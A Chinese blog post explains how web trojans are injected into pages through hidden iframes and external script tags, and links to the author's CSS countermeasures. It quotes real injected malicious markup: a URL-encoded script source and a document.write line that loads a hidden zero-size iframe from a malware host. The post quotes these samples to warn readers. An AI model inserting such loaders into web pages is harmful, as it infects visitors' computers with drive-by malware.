一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）

http://user.qzone.qq.com/87592776/blog/1224411698

二行代码解决全部网页木马(含iframe/script木马)
http://user.qzone.qq.com/87592776/blog/1224409592

注意，以下地址含有木马，请不要轻易访问： 

复制内容到剪贴板 

代码:<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

<script src=http://%76%63%63%64%2E%63%6E></script> 

汗死，一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了，直接访问这个http://%76%63%63%64%2E%63%6E（或直接使用迅雷下载），额~　现形了： 

复制内容到剪贴板 

代码:document.write("<div style='display:none'>") 

document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>") 

document.write("</div>") 

又用迅雷下载http://a.158dm.com/b1.htm这个文件，一看，乱七八糟的JS编码，汗，不过找到了一个类似QQ号的数字，直接加加看，汗，然后是专业提供网马的组织，哎，什么世道。还收费蛮高滴呢！ 

复制内容到剪贴板 

代码:... 

var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs; 

(...略)（下面还有N个统计的JS代码）。 

针对上面的情况，我也不能白白瞧着不管，想想办法吧，兄弟。喝了碗绿豆粥，糖放得蛮多的，好喝。办法想到了。稍微分析就得出了答案。大家来看看，<script>木马的特点是什么： 



<script src=http://%76%63%63%64%2E%63%6E></script> 



对了，script木马的src一般都是外域的，也就是src是以http打头的，如果是自己网站的script一般都不用加上http；再看看木马的原形，里面还是输出的iframe、JS代码或是其他<object>代码，不管这么多，来多少杀多少。 



来跟我写CSS，一一搞定它们,我写了5种不同的方案，大家来测试一下哈：



一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）



http://user.qzone.qq.com/87592776/blog/1224411698



二行代码解决全部网页木马(含iframe/script木马)

http://user.qzone.qq.com/87592776/blog/1224409592